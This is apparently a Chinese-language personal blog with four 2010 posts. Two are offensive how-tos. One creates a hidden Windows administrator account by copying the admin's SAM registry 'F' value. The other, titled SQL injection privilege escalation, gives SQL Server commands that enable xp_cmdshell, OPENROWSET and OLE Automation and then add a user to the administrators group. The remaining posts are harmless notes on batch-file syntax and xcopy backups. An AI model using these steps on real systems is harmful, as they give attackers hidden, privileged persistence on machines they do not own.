11月 21, 2010

隱藏帳戶

新增完帳戶後
HKEY_LOCAL_MACHINE\SAM\SAM 先做右鍵提權再到
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
接著”000001fa4” 可能是administrator帳戶比對一下name
把新帳號和admin一起匯出
接著把F從admin複製給新帳號
順便把name裡面的新帳號匯出
刪除新帳戶後倒入登入檔!完成!

11月 20, 2010

SQL 注入提權

這邊假設你已經擁有一個SA帳戶


遇到 sql server 2005 ,恢復xp_cmdshell的辦法:

開啟XP_cmdshell:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;

開啟'OPENROWSET':

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;

開啟'sp_oacreate':

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ole Automation Procedures',1;RECONFIGURE;


EXEC master..xp_cmdshell 'net user abc 1234 /add'
EXEC master..xp_cmdshell 'net localgroup administrators zk /add'
--net user abc /del --刪除
--結束

11月 19, 2010

批次檔bat大全

set /a args=%1+%2 /%為引數
set /a a=1+3 /+a才可數值運算
set b=1+3 /字串
set s=hi
@echo %args% /輸出方式
@echo %a%
@echo %b%
@echo %s%

for %%g in (*.wma) do echo hi! /必須要用2個% TRUE做DO

if not exist *.wma ( /下面為同一行,not=反向 exist + 檔名 = 比對是否有該檔案
pause
) ELSE ( /有的話!
echo no!
)

goto renamer //也可用%變數
:renamer
set old=%1
ren %1 "%old:~9%,1000% //切掉前面9個字,另外那個逗號後的1000和前面的"可以不打!
/跳到此


call + 批次檔名稱 /呼叫外部批次檔

11月 18, 2010

xcopy

/S 複製每個目錄及其包含的子目錄。
/D 複製發生變更的檔案。
/Y 所有覆蓋的詢問都回答 YES

/D:m-d-y
複製在指定日期當天或之後發生變更的檔案。如果沒有給日期,只複製那些來源檔案日期比目的檔案日期為新的檔案。

加個排成就能自動備份了....